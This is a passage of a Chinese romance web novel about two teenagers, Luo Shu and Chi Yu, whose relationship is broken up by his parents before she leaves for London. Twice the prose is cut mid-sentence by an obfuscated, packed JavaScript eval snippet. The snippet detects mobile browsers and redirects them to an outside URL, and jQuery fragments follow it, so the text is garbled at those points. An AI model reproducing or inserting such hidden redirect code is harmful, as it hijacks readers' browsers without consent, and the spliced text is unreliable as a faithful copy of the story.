这里已经没有她的容身之处了，她也不想让池煜夹在她跟父母之前进退两难。 选择主动离开，是她能想到的最体面的方式。 * 市一中附近的房子很抢手，早早就被高三在读生的家长们租光。 洛姝在酒店住了没几天，搬到了梁诺诺家楼下。住户在不久前挂上了房屋出租的信息，两室一厅，小区外就是公交站台，直达市一中。 纵使她断舍离丢了很多东西，三只28寸的行李箱还是被塞得满满当当，把所有物件分门别类地摆放好后，望着与池煜家装修风格毫不相干的新居，她这几年始终绷着的分寸感瓦解，感到如释重负。 十一月份，浔城开始降温。 夜晚的风很大，冷意恨不得透进骨头缝里。 周五晚上六点，放学铃响，整个高中部都放了学，迎来了短暂的周末假。 走廊外的学生声音高涨，互相勾肩搭背地下了楼，赵慕挽穿过拥挤的人群，来到洛姝班级外等着。 她的校服里穿着厚卫衣，而洛姝还穿着很薄的打底衫，不由得惊呼：“好冷，你怎么还穿这么薄！” 洛姝懊恼自己太过在意风度，揉了揉脸：“明天一定多穿点。” “可别再冻感冒——” 话在看见走廊另一端的池煜时，卡了壳。赵慕挽笑得很贼，“你哥来了。” 同行而来的还有苏望月，他高举着两只胳膊，和走廊里的人一样怪叫了声，然后迈大步走来，很轻快地吹了声长长地口哨，“哎呀呀，这不是洛姝和赵慕挽同学嘛！” 赵慕挽很不客气给了他一拳，“哪里来的猴子，我们不卖香蕉的啊。” “什么跟什么啊……你竟然说我是猴子？”苏望月反应过来时，赵慕挽扮了个鬼脸，捏着书包带后退两步，溜得很快，转眼的功夫就跑远了。 苏望月追上去：“诶，你跑什么，咱们四个一块走啊喂！” 他俩都跑远了，洛姝望着池煜那道高瘦的身影走过来，他步子缓慢，脚步声在耳边逐渐清晰。 很长一阵子没留意，面前有些清瘦的少年看起来又长高了，她踮起脚的高度增加了些。她拿手比了比，“你好像又长高了。” 池煜微垂着头看她眼睛，笑了笑：“因为我好好吃饭了。” “真的假的？”冷风灌进袖口，洛姝没忍住打了个冷颤，自问自答：“我才不信。” 池煜打量她片刻，站在风口的位置：“乱穿衣服。” 洛姝缩了缩脖子，指着他校服里的的短袖衣领：“好意思说我？” “怕冷的另有其人。” 洛姝轻声哼哼，还没来得及说话就被苏望月高喊打断了话音：“你们兄妹俩说啥悄悄话呢，走这么慢，差点没等到你们。” “我可没有哥哥。” 洛姝抬手捂住脸，遮挡冻人的冷风的同时，抬起一根手指，指向身旁的池煜：“他也没有妹妹。” “哦～” 苏望月仅用半秒便梳理了话里的意思，以及他俩关系的走向，挤眉弄眼道：“身份转换啦，不是兄妹关系啦？” 他一脸得意，“就知道你俩这薄薄的窗户纸肯定要破开。” 池煜无视他的揶揄，躲开他伸过来要勾自己肩膀的手臂：“一边去。” “看！” 苏望月大惊小怪地指着池煜：“这恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375741|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱了就是不一样。以前我说什么都让我''滚＇呢。” 赵慕挽很懵，听得云里雾里，她揽着洛姝的手臂：“给我绕晕了。你俩啥时候的事儿啊，我一点没看出来。” “还用看嘛，他俩一直都……好吗！” 念在还在学校里，苏望月没有说出来，右手比耶朝自己眼睛比了比：“这就叫旁观者清！” 说完不知是什么触动到了他的神经，他再次高举手臂怪叫了一声，被看不下去的池煜一拳揍在肩膀上，然后无视着从旁边走过去。 “学校什么时候养了只猴子？”洛姝落后半步，也从他旁边绕过去。 赵慕挽露出嫌弃的表情，像是闻到了恶臭一般扇了扇鼻子：“我也是头一次见。” “雾草！你们欺人太甚。” 洛姝忍俊不禁，拉着笑出眼泪的赵慕挽往前跑。 “猴子说话了，快跑！” …… 欢笑打闹在校门口分开之际按下暂停键，洛姝到公交站台等公交车，然而一转脸，才道别没多久的池煜站在了自己旁边。 刚刚浮起的困意消散，洛姝睁圆了眼：“你不回家吗？” 池煜若无旁人牵起她的手：“想跟你一起回去。” 洛姝说出事实：“我们不顺路。” “只要我想。” 他的声音略带轻快，温热的掌心与她相扣，若无旁人十指紧贴，“我们就一直顺路。” 洛姝低下头轻轻地笑，完全控制不住自己的笑容。 好奇怪。 以前被他摸头发拥抱都没有这种特别开心的情绪，为什么只是牵个手就这么开心？ 她分明整张脸都在笑，可说出口的话却带着矜娇：“说话就说话，干嘛牵我手。” 池煜实话实说：“想这样牵着你很久了。” 他靠近洛姝，与她肩并肩，虽是询问，但手却没有松动的迹象，反而扣得紧了些：“可以吗。” 洛姝扬着脸，白皙的肌肤上浮现出浅粉色的红晕，“你在问谁？” “在问女朋友。”他回答。 洛姝听到了想听的，清了清喉咙：“勉为其难答应你一回。” 池煜捉起她的手，很轻地落下一个吻：“我的荣幸，公主殿下。” ！！！ 洛姝的脸瞬间红爆了，浑身血液沸腾，原先因穿得太少感觉到寒冷的躯体顿时感觉到热。 小时候她和池煜玩过家家酒，她扮演的角色是公主，而池煜是无论如何都会保护公主的骑士。 过去这么多年，他竟然还能无比认真，面无波澜地说出这句话。 实在是、实在是…… 洛姝抬起一只手捂住脸，哀嚎：“好羞耻啊啊啊。” 公交车缓缓停在面前。 他牵着洛姝走到后排的双人位，把靠窗的位置留给她，没有松开手的迹象，凑到她面前，声音压得很轻，洛姝很难不怀疑他是故意的。 因为池煜一直在笑，“你小时候不是很喜欢这个称呼吗，小公主？” “……” 洛姝简直没办法直视面前这张放大的俊脸，饶是已经过去了这么多年，她也没法淡然地一笑而过。 为什么记得这么清楚？ 因为这是她三年级看芭比娃娃后，又是撒娇又是卖乖地请求池煜扮演自己的骑士，那时候池煜已经五年级，彼此都是记事的年龄。 “你……”洛姝羞红着脸，胸口因急切微微起伏，她哀嚎：“丢脸，实在好丢脸啊！” 池煜喊出另一个她曾经要求的称呼：“不丢脸啊，我的公主殿下。” 头要炸了。 洛姝抬起空着的那只手去捂他的唇：“不许提了，不然……” 池煜轻而易举捉住她伸过来的这只手，牢牢握在手心，声音很轻很轻，像羽毛一样挠着洛姝心间，痒痒的，有些难忍。 他的语速放慢，笑意难掩：“就怎么样——” 车子微微颠簸，洛姝惯性朝前仰了下，池煜也将脸凑到她面前，极近的距离，鼻尖贴上一瞬又抽离，短暂的触感消失。 池煜继续没说完的话：“就要吻我了吗？” 31. 13 噗通—— 很清晰，且震耳的心跳声，出自洛姝的胸腔。 时间如同静止在这一刻，他长而浓密的睫毛轻颤，眼睛弯弯，露出很愉悦的笑容。 洛姝后背贴在车窗上，调整呼吸，伸手盖住他的眼睛，与他拉远了距离，“想得美啊你。” 池煜坐回去，很轻地笑出声：“不逗你了。” 下一站在两个人谈话的间隙到了。 车子减速停下，陆续有人上车，牵着的手暴露在大众视野下，两人浑然不避任何目光，像是课堂上开小差的同桌位，脑袋相贴在窃窃私语。 许玥是最后一个上车的学生，站在刷卡机的位置，斜挎的书包还来不及背在身上，因为看见了池煜和洛姝交握的双手。 她有些愕然，很快又反应过来。 洛姝和池煜根本不是亲兄妹，所谓的妹妹也不过是寄住在池煜家里的小青梅。 倘若不是苏望月告诉她，她还以为他们两个是亲兄妹，毕竟这两个人的一举一动相处都太过自然，就如同家人一样，所有举动看起来并不暧昧，除了眼前看见的这一幕。 ——原来已经在一起了么。 ——还是说早就在一起了？ 或许是约着打雪仗的那次，两人面对面蹲在地上握紧对方的手取暖。 又或许是那夜她倔强地要在沙滩上等待苏望月，一转头，瞧见了远处始终露着一张侧脸的池煜，神色温柔，肩上与洛姝共披着一张毛毯。 或许在更早，她因画面温馨，鬼使神差用手机拍了张两人同框的照片。 许玥很快收回神，选择车厢前排靠窗的单人位上坐稳，平静地看向窗外，一次都没有回头。 * 天色渐暗。 洛姝和池煜一前一后进了小区，少年步履轻缓，轻车熟路地拐弯朝她所在的那栋楼走。 耳边传来细细的呜咽，洛姝屏住呼吸，想要仔细听却只能听见落叶翻卷的响动。 她朝周围看了一圈，不远处的地上放了个纸盒子，甚至在位移，很小幅度，但洛姝看见了。 “等下。” 洛姝松开池煜的手，朝移动的盒子跑过去，她弯下腰，双手撑在膝盖上凑近看，一只奶黄色的小狗蜷缩在鞋盒里，看见陌生人有些怕，发出奶声奶气的细弱呜咽。 小狗耳朵上的血迹已经被风干，不知道是不小心碰的，还是人为原因。 “池煜，这里有只小狗。” 洛姝小心翼翼地从盒子里把它捧出来，只有掌心大小，还闭着眼睛，叫声越发孱弱。 这样的天气，幼犬不知道被丢了多久无人问津，瘦小的身子冰冰凉，看样子活不了多久。 她叹气，“好可怜，这么小就被丢了。” 池煜把狗放到自己掌心里，给它取暖，“应该饿了很久，已经没力气叫了。” 洛姝颇有些怜爱地摸了摸小狗脑袋，许是因为很久没吃到东西，小狗嗅着气味要去叼她的手指吮吸。 洛姝实在不忍心，不由得心生怜悯：“我们养它吧。” 池煜点头，应声：“嗯，给它起个名字吧。它这也算因祸得福了。” 洛姝想了想：“就叫＇德芙＇吧。巧克力牌子的那个德芙。” 他们去了附近的宠物医院，给小狗做了个全身检查，连眼睛都没睁开的金毛还没满月。 洛姝认真地记下医生叮嘱的各项事宜，买了羊奶粉和笼子以及一切幼犬必备的物品。 离开医院时天已经彻底黑了。 洛姝和他一起在外面吃了饭，等到分开的时候，他拎起笼子，“我带回去吧。” 德芙在宠物医院里喝饱了羊奶，此刻乖乖地趴在笼子里。 “你带回去的话，能养吗？”洛姝有点不确信，她记得蒋春燕不喜欢毛绒绒的宠物。 池煜说：“能养。” 看见她欲言又止的模样，知道她心里所想，他笑了下，“放心，以后你会一直见到它。” “真的？”洛姝眼睛亮起来。 池煜不会让她的期待落空。 “真的，骗你就把它的新名字——改成我的。” 洛姝愣了愣，噗嗤笑出声。 * 池煜拎着狗笼进家的时候，蒋春燕坐在一桌子冷掉的饭菜面前，脸色难看，“要养狗？” “嗯。” “经过我同意了吗，我说可以养吗？” 蒋春燕气头上的时候说话也难听：“这么晚回来就是因为弄了这么个玩意儿——弄只狗回来，养它费时间费精力费钱，你从中获得的意义是什么？你能从它身上得到什么？” 池煜只是注视她的怒容，冷眼旁观她渐渐失控的情绪，一言不发。 “你知不知道你现在是什么时候？” 听不到儿子答话，蒋春燕怒吼：“说话啊！” 池煜面色冷淡，“知道。” “我看你完全不知道，也完全没有意识到自己的错误！” 这段时间以来，不着调且不着家的丈夫，突然叛逆期的儿子，让一直围着丈夫儿子转的蒋春燕仿佛天塌。 她撑着桌子，气得发抖：“要高考了，你要高考了知道吗！为什么还要分心在无关紧要的地方？你有精力养它吗？” 池煜不回答，拎着笼子上楼，他走得很慢也很坚定，留下的只有背影。 蒋春燕被他的冷漠刺到，完全无法接受小时候只肯要妈妈抱的儿子和自己离心，变成如今这幅样子，生出反骨难以管束。 没有不耐烦，没有恶语相向，只是冷漠，也只剩冷漠，连话都不愿意跟自己说。 她大吼：“摆出那副要死不活的样子给谁看？谁欠你的了？我做错了什么你倒是说啊！” 池煜迈上一级台阶，停下脚步，他侧目朝楼下看，唇角勾起了一抹很淡的弧度，转瞬即逝：“您怎么会错呢？” “你——” 交涉无果，蒋春燕手指着门口，语调平静：“带着这个畜生，给我滚。” 池煜点头：“现在么？” 蒋春燕紧咬牙关：“现在！” “行。”池煜答应得干脆。 * 十一月底，气温骤降。 又到周五放学，校门口外停着好几辆烤红薯的小推车，香甜的气味荡在空气里，很多学生都等在摊子旁，甚至排起长队。 池煜去拉洛姝的手，很冰，被他塞进自己口袋里。 洛姝嗅着香甜的气味，感叹一句“好香”，看见排了很长的队伍后，立刻兴致缺缺。 恰好手机噼里啪啦响起消息提示音，内容无一例外都来自苏望月拉的“五人约饭群”。 苏望月：今晚吃烤肉还是海底捞？ 苏望月：极限二选一！ 苏望月：收到请回答。 隔了一分钟没收到回复。 苏望月：［疑问］［疑问］［疑问］ 洛姝快被周围烤红薯的香气腌入味了，馋虫也被勾起来。 洛姝：烤肉两票。 赵慕挽：同上 梁诺诺：同上 晚上吃什么就这么被决定好了。 洛姝歪头，靠了下池煜的肩膀，“好饿——” “洛洛。” 这道温软的声音像轻喃，夹在嘈杂的人声中，不太真切，可是洛姝听见了。 她下意识停了步子，池煜跟她步调一致，问：“怎么了？” “没什么。” 洛姝摇头，同时自我否定，应该是幻听。 “洛洛。” 这次声音大了些，也更清晰，听得更真切。 洛姝心跳乱了，猛地回头，笑容凝固，整个人都僵在原地。 池煜也跟着回头，错愕地盯着三步远的女人，岁月在她身上留下的痕迹不多，仍是记忆里的样子，清瘦高挑，娴静温婉。 他没想到过去这么多年会再见到谢玫。 “谢阿姨。” 谢玫朝他点点头，她的整个注意力都放在女儿身上。快步走到洛姝面前，她掩着唇，那张姣好的面容在努力忍哭声，可泪水还是如断线的珠子。 曾经无数个夜里想起妈妈都会痛哭一场，后来变得怨她，恼她一次都不来看自己，再之后有些恨谢玫，甚至傻乎乎地胡思乱想，为自己打抱不平—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375742|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不爱我为什么要生下来？ 可在看见谢玫那双和自己可以说是长得一样的眼睛时，看见她滑落的泪水那一刻，一切的怨与恨似乎烟消云散。 可心口堵着一口气，此时此刻的情境下她祈祷自己别在这个时候泪失禁，千万不要掉眼泪。 她拿出纸巾给谢玫擦掉脸上的泪，相比起母亲的痛哭，她表现得要淡然很多，其实心里十分介意她的一走了之：“你怎么来了？” 谢玫泣不成声，想搂她又不太敢，没有寒暄，只是拉着她的手，不敢用力：“妈妈太想你了，实在是想见你。” 洛姝点点头，终究说不出什么狠话，只是说：“我们先走了。” “好……” 谢玫擦掉眼泪，近乎哀求地说出口：“妈妈下次还能来见你吗？” 洛姝抿着唇，自嘲地咧起唇：“算了吧。” “那……通电话可以吗？有一些话想告诉你，妈妈离开是有难言之隐，这么久不来见你也是有原因的。” 洛姝固执地站在原地，没表露任何松动的可能。 谢玫又问了一遍。 池煜揉了揉洛姝的头发，语气温和：“阿姨，让她思考一下。” “没必要。” 洛姝给出了答案，她后退两步，直接转身走人。 * 十二月中旬。 高三部一楼墙壁上张贴的光荣榜上换成此次一模成绩排名，过来凑热闹的人很多，人挤人堪比S级旅游景点。 众人率先注意到的就是年纪第一，稳居第一的名字换了。 “我去，一班的池煜终于跌下神坛了！” “他还是很强好吗，第四名，稳居前十诶。要知道这次试卷可难了。” 有人咦了声：“一班实力太强了，前十名有七个。这个许玥是谁，之前从来没见挤进前三过。” “这你都不知道啊，一班班花，长得可漂亮了！” …… 许玥听着周围人八卦到自己身上，盯着年纪第四的那个名字多看了两眼，转身跑回了班，直奔池煜的位置。 “看见名次了吗？” 池煜停止手里转笔的动作：“看见了。” 班主任甚至在贴成绩前就找了他谈话。 许玥情绪激动，双手拍在他桌子上，有些用力，“我认为以你的实力，这次第一该稳的。” “你太瞧得起我。” “是你有这个实力，明明可以考得更好不是吗。” 许玥强调完，胸口微微起伏，竟然有些动怒，顿了几秒才说：“你恋爱后就开始分心了。因为洛姝，你——” “许玥。” 池煜喊她名字，制止她接下来说的话，“你想太多了。” 他语气很冷，带着警告意味：“你越界了。” 池煜很烦这种质问的语气。 明明洛姝从来都是无辜的那一个，为什么罪责都要安在她头上，这一次，无关紧要的人竟然因为自己一模成绩来审判他个人感情情况。 言下之意已经很明显—— 我怎么样是我自己的事，你不该过问，也没任何立场与身份过问。 很显然，池煜动了怒。 许玥猛地回过神，突然意识到自己过于失态，情急之下触碰到了他的底线。 她蜷缩起手指，深呼吸，把头发绕到耳后，“抱歉，你就当我在胡言乱语吧。” 每到周五傍晚时候，整个学校都沸腾起来，许玥离开学校前去了趟班主任办公室交作业，隔壁班班主任拿着池煜的答题卡在看他一模语文卷的满分作文，感叹：“你们班池煜真是个好苗子，写得一手好字，简直可以给人当字帖用。” “那可不，也不看谁带的学生，我跟他爸妈一样对他寄予厚望呢——诶，许玥来了啊。试卷放桌上吧，我带回家批。” 许玥回过神，把试卷放在桌上时，瞟到了家长号码，鬼使神差地多看了几眼蒋春燕的号码。 她记下那串数字。 回到家反复思考后，拨通。 “阿姨您好，我是池煜的同学。” “我……有些事要告诉您。” 32. 14 谢玫始终认为自己有个事事以家庭为主、疼爱妻子女儿的丈夫。 换句话说，她坚信自己遇到了毕生所爱，有相濡以沫的恋人晋升为家人，有可爱伶俐的女儿，一家三口相亲相爱，此生足矣。 直到宋依冉带着个男婴找上门，在一个晴朗明媚的午后，她才知道这一切都是虚假的，犹如海市蜃楼。 宋依冉怀里的孩子完全不怕生，眼睛像黑葡萄，又大又亮，比洛姝小了八岁。 在两人面对面的交流中，谢玫才知道这是洛亦祥的初恋。 而面前的这个孩子，只是其中一个，大点的那个在浔城五中读书，今年上初三，比洛姝还要年长五岁。 她看着少年的照片，确有几分洛亦祥的影子。 宋依冉坦白，当年她家中出了状况，作为唯一的掌上明珠，她高中毕业前夕被送出了国。 在那之前，她跟洛亦祥提了分手，到了国外才得知自己怀孕，终究是不忍心一个生命就此消逝，选择生下来。 后来她带着儿子回国，找到洛亦祥，本意是想，若是他没有伴侣，就带着儿子投奔他。 可他却说放不下自己，始终未婚，于是他们迅速旧情复燃。 许久，谢玫才找到自己的声音：“你来，是让我和他离婚吗？” 宋依冉摇头：“我是想告诉你，洛亦祥是个人渣，别再陷下去。”离开前，仍旧在道歉。 谢玫摇头，全然没了力气，只是说：“不是你的错。” 她给过洛亦祥机会，旁敲侧击问他，是否做过对不起自己的事情。 洛亦祥回答得毫无破绽，他说—— “他说自己绝无二心。” 谢玫说到这里，已经不会像之前那样痛哭，她苦笑着说当年确诊为焦虑症躯体化后，症状越发严重，说到自己阴差阳错下遇到了现男友，是他一直在托举着她让自己对生活充满信心。 后来和前夫彻底撕破了脸，可惜自身情况无法更好地照顾女儿，于是她跟着谢瑞去了英国积极治疗。 “妈妈去年就有在学校外偷偷见过你，只是不敢来见你，怕你怪我这几年一直没来找你。”见女儿无动于衷，谢玫哽咽着，两行眼泪再次夺眶而出，反复强调：“妈妈那个时候不是有意丢下你。” 风太大，飞扬在空中的发丝总是贴在脸上，洛姝帮同样被寒风困扰的母亲将碎发绕至耳后。 想对母亲说的话有很多，烦恼或琐事，悲伤或喜悦，可话到嘴边也只是无可奈何地低下头叹口气，事到如今，再怨再怪已经没有意义。 她搂住哭泣不止的母亲。 “我知道。别再自责了。” * 二月底，浔城没有丝毫回暖的现象。 蒋春燕上楼的每一步都无比沉重，她没有因为儿子这次二模成绩考了年级第一开心，而是撬开那扇锁了近三个月的房门，暴力地翻箱倒柜。 其实根本不用翻，抽屉拉开就能看见里面的东西，电影票存根收在铁盒子里，根本数不清；各种颜色且少女心的发绳，写满名字的草稿纸，连沙滩上带回来的漂亮贝壳都是一对。 全都妥帖地存放好，投注了很多很细腻的情感。 蒋春燕绷着脸，拿起一张放在最上面的照片，算得上是抓拍，少年少女同框，交换墨镜，笑得很开心。 这对母女到底有什么魔力？她和丈夫同床异梦多年都不曾发觉，若不是推开门看见的那一幕，或许还会被瞒得更久。 儿子也一心扑在谢玫女儿身上，不惜在高三关键时刻不以学业为重而是谈起一段恋爱，甚至逆反心理严重，搬出家数月。 不—— 或许在更早两人就已经捅破窗户纸，只是她完全没发觉！甚至在看见池煜极端护短的时候，只当他把洛姝当成亲妹妹爱护。 蒋春燕不可控地拨通池煜电话，想响铃的那一瞬间，突然想起他拎着笼子决绝出走的那一幕。 然后猛地意识到，现在已经不能用怒吼斥责的方式管教孩子了。 池煜逆反心理严重，这一次能搬出家好几个月不联系她这个妈妈，若是逼他和洛姝分开，会不会要跟家里决裂？她与丈夫已经走到这一步，难道跟儿子的关系也要恶语相向？ “妈。”电话被池煜接通了。 “这次考了第一，恭喜你。” 蒋春燕压下心头的怒火，尽量让自己的声音听起来平和，尽管她没有提到让儿子回家住，却还是不免在开口时候，语气带了些请求：“想家了吗，想家的话妈妈接你回来。” 短暂聊了几句后，她挂断通话，把抽屉里的东西物归原位，而后拨通丈夫的号码，声音平静，“池升，你回家一趟。” * 洛姝从小到大几乎很少去医院。 因为怕吃药，怕打针，怕疼。 接到蒋春燕电话的时候，她什么都没想就打车去了医院。 出了什么事她不知道，也就没想着去给池煜打电话，毕竟是他妈妈，怎么着也会先通知他再通知自己。 她极度怕冷，出门时候还暗叹三月怎么这么冷，等到下了出租车小跑到病房门口时，冰凉的掌心变得滚烫。 直到在门口平复好自己，她敲门，而后推开。 蒋春燕的左手和脖颈缠着厚厚的纱布，一向红润的脸颊惨白，看起来挺可怖的，可是她神色却很平静，倒是旁边的池升胡子拉碴，瞧见洛姝，声音沙哑：“来了。” 池煜不在。 第六感告诉洛姝，大事不妙。 她很轻地点了点头，神经紧绷：“蒋姨——” “洛洛啊。” 还未等她说完话，蒋春燕抬起自己缠着纱布的手臂：“托你的福。阿姨迈进鬼门关，差点就去见阎王爷了——” 听到丈夫轻咳声，她又重新扯起笑容，语气相当温柔：“告诉阿姨，跟池煜什么时候谈的恋爱。” 洛姝猛地怔在原地，整个后背生出一层冷汗，在蒋春燕的逼视下，大脑一片空白。 可她心底生出一股名为不服气的个性来，拒不回答。 “你们还要瞒多久呢？” 蒋春燕嗤笑：“打算瞒一辈子吗，还是有信心你们真的能谈一辈子。” 根本不给洛姝开口的机会，她继续说：“你考虑过他现在是什么时候吗，他快要高考了，你和他一样都在为高考做准备，你不知道这个时期很关键吗？” “你是不是因为恨我呀，恨我对你明里暗里甩脸色。”蒋春燕恨恨指着椅子上的池升：“还是恨他摸你手，你为了报复，就把主意打在了我儿子身上，想让他高考失利呀？” 洛姝颤声反驳：“不是这样，我们互相喜欢才在一起的。” “喜欢？”蒋春燕笑了，厉声道：“喜欢值几个钱！喜欢能让你戴得了几十万的手链，还是两万多的鞋？洛姝我告诉你，你们这个年纪，图所谓的喜欢没有一点儿用！” 洛姝垂着头，没有言语。 后背的冷汗仍在往外冒，她很想夺门而出，却怎么都无法抬起脚步，耳朵里，蒋春燕的声音仍未暂停。 “我当初是看你没了妈太可怜才收留你，是好心，不是为了养虎为患，不是为了让你在我儿子快高考的时候跟他谈恋爱的！” 洛姝背脊挺得很直，绷紧到泛白的唇上下张合：“我们没有影响学习。” “你敢说没有！” 蒋春燕指着她，狠狠瞪着眼睛：“他一模考成那个样子，高考迫在眉睫，努力了这么多年难道要付之一炬？！” 相较她的失态，洛姝表现地很冷静：“可是他这次考了年级第一。您不能一直抓着他的失误不放。他的优秀显而易见，看见、表扬，很难吗？很多他不愿意做的事情，在你们的坚持下他从来没有说过一个不字。可是您也从来都没有夸过他，哪怕一句。为什么总是在给他施压——” “少在那强词夺理，你懂什么！” 蒋春燕掀开被子踉跄着下了病床，双目通红：“你住在家里这些年，你明知道我和他爸对他寄予的厚望……若你还有点良心就和他就此结束，让他安心备考。” “你从小被捧在手心上，是个要脸皮的姑娘，阿姨都说到这份上了，你会买账的对不对？ 蒋春燕一脸悲戚，双手合十：“算阿姨求你，成吗？放过我儿子吧，我就他这么一个孩子，他是我唯一的指望——别再坑他了。阿姨哪里做错了，你告诉我，我给你道歉行吗？” 洛姝后退一步，倔强着不肯应允。 蒋春燕拿起桌上的水果刀就往自己胳膊上比划，声嘶力竭地吼：“还是说要把我逼死才行，把我逼死你才肯和他断绝往来？！” 池升赶紧把刀夺下来丢在地上，死死搂着妻子，神色悲戚：“洛姝，你就和池煜分手吧！现在他正是关键时刻，是一点马虎都不行的——洛姝，洛洛啊，你说话啊！” 蒋春燕跪坐在地上，掩着脸呜呜地哭：“我们供你吃供你喝，让你有地可去。为什么到了这一步连一个承诺都不愿意应答？” 洛姝试图安抚：“阿姨，您冷静一下——” 扑通—— 池升跪在地上，膝盖撞击地面发出清脆声响！ 他苦苦哀求：“算叔叔求你！ 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她没勇气再面对池煜。 这段恋情似乎在她推开病房门时就已经该戛然而止，那把掉落的水果刀，蒋春燕的声嘶力竭，池升的哀求，都在为年少的爱恋粗暴地划上句号。 看见池煜从不远处来朝自己走来，洛姝已经感觉不到喜悦了，整个胸腔被苦涩填满，看见他就想到医院的消毒水味，就想到那不愉快的对峙。 看见他就在心里默默审判，这段关系到此为止。 “怎么哭了？不舒服么。”池煜抬手，拭掉她眼角的泪水。 洛姝抽噎了声，因贪恋他指腹的余温所以没躲，“考砸了。” 池煜抚摸她的发顶，很轻柔：“一次失误，不碍事。有哪里不会的，我教你。” 泪水再次模糊视线，洛姝把半张脸埋在围巾里，低声说：“嗯。” 试卷并不难，池煜拿到题目帮她分析的时候，她才反应过来不是不会写，是她的注意力全都停在推开病房门的那一天。 这便是症结所在。 洛姝鼓起勇气提出分手的那天，天气还算不错。 “不行。”池煜拒绝地很快。 洛姝决定好的事情，一般很难转变：“你说得不算。” 明明前一刻还好好的，为什么会这么突然？ 池煜想不通，也知道她不是开玩笑：“我需要一个能说服我的理由。” “我想分手。” 池煜猜测是因为那次考砸的月考。 洛姝为了离开浔城，学习上从不马虎，他们在一起独处的时候也是谈论学习更多。 或许是因为那次月考很多题不该错，她将问题归结到他们谈恋爱上。 “你觉得我们现在不适合谈恋爱，所以想暂时分开？”他理解，却难苟同。 洛姝声音很轻：“不只是现在，也不是暂时。” “别和我赌气，洛姝。” 池煜头一回连名带姓地叫她。 “没有，我认真的。你先考虑一下。” 洛姝生怕多呆一秒就会露出破绽，丢下那句话就跑上了楼，没多久就收到了池煜发来的消息，四个字表明了他的态度。 他说，我不同意。 * 洛姝办理完所有手续，跟着谢玫和谢瑞到机场的那天也是个晴朗的冬日。 单方面和池煜提分手后她就开始刻意避开他，他似乎察觉到了，默契地和她保持距离。 所以在离开浔城前，洛姝也就没能见到他最后一面。 见她频频往外看，谢玫帮女儿理了理帽子，柔声问：“和小煜那孩子说了么？” 洛姝摇头，哑着嗓子说：“我们分手了。” 谢玫怔住，然后抱紧了她，哄：“没事的宝贝，还会见的。” 洛姝泪如雨下，只是摇头。 飞机起飞的那刻，她把整个脑袋埋进毛毯里，陷入黑暗时，她想到了被自己丢掉的电话卡和手机。 丢抛的举动是那样的决绝，那一刻下定决心这辈子不会和他再相见。 可是脑子里全是有关于池煜的记忆。 记忆像镜子，四分五裂散在各个角落，划伤她的心脏，痛得无法呼吸，痛得眼泪怎么都擦不完。 浔城到伦敦的直线距离近九千公里。 她就这样以落荒而逃的方式，不告而别离开这座出生地。 从此淡出池煜的世界，再也不见。 33. Chapter 19 “洛姝。” 这一声将洛姝喊回了神。 暴雨不知什么时候停了，雨声不再扰人，乌云退散，天边漏出光亮。 洛姝抬起头，店内亮堂了不少，她看向池煜。 他似乎来得匆忙，头发上沾了水渍，湿漉漉的，顺着前额滴落在眉尾处，肩上也湿了却全然不顾，只是蹲在她身旁，清晰可见他眼中的关切。 他眼睛里有红血丝，整个人看起来染了几分疲惫，身上被雨打湿，瞧着也狼狈。 洛姝心口有些发酸，鼻子也是。 “是你啊……池煜。” 她前倾着上半身，伸出手捧起他的脸，用指腹擦掉他滚落到脸侧的雨滴，仍旧有些恍惚，声音很轻很轻：“你怎么来了？” 池煜不答，更关心她通红的眼睛：“怎么哭了。” “没哭，你看错了，其实只是有点困。” 洛姝舒展了下筋骨，又没骨头似地躺回单人沙发上，朝他张开怀抱，嘴上却说：“你拉我一下可以吗，我腿麻了，站不起来。” 池煜与她静静平视片刻，而后给了她一个拥抱，拥抱了近三秒钟，他把索抱的念头按在自己头上，毕竟他也想靠近：“我想抱你。让我抱会儿吧。” 洛姝摸了摸他略湿的头发，将他箍进臂弯，搂紧了些。 这片刻的温存她要让它永恒，不会再让他久等。 傍晚要关店的时候，糖果店竟罕见地迎来了两位客人，一个小女孩儿和一个看起来像男大的小伙子。 小女儿买到了喜欢的棒棒糖，付完账便一蹦一跳走了，男大在店里转了一圈，随手抓了几把糖来到收银台：“原来的店长不做生意了吗？我之前常来，还是第一次见你。” 洛姝客气地笑了下：“她有事，我帮忙看店。” “你是店长的朋友吗？” “是的。” 男生“哦哦”了两声，扫码付款后却没有着急离开，神色不大自然地把手搭在台边，声音也放轻些：“你长得很漂亮。” 洛姝朝男生投去一个善意的笑容：“谢谢。” 然后，对他的夸赞给了同样的回馈：“你长得也很帅。” “那……我们可以加个联系方式吗？”男生的脸有些微微泛红。 楼上传来电吹风的声音，男生抬头看了眼，很快又把目光重心放在洛姝脸上，盯着她漂亮的唇形，期待她的回应。 洛姝笑着指了指楼上，婉拒：“我有男朋友了。” 池煜借用了卫生间洗头，吹头发弄出的声响来自他。 男生默了片刻，点点头，仍不死心：“原来是这样。那加个联系方式也不可以吗，占你个好友位应该不碍事吧？” 洛姝一本正经回答：“抱歉，男朋友是个醋王。” 她还记得很久之前和池煜谈恋爱的时候，那时她跟班里男生说话被池煜看见了，虽然他没表露出来任何情绪，但洛姝很了解他，一直在旁敲侧击跟那个男生做比较。 后来也是回答了他，洛姝才后知后觉他是吃醋了，也没想到会因为这点小事他会吃醋。还真是可爱。 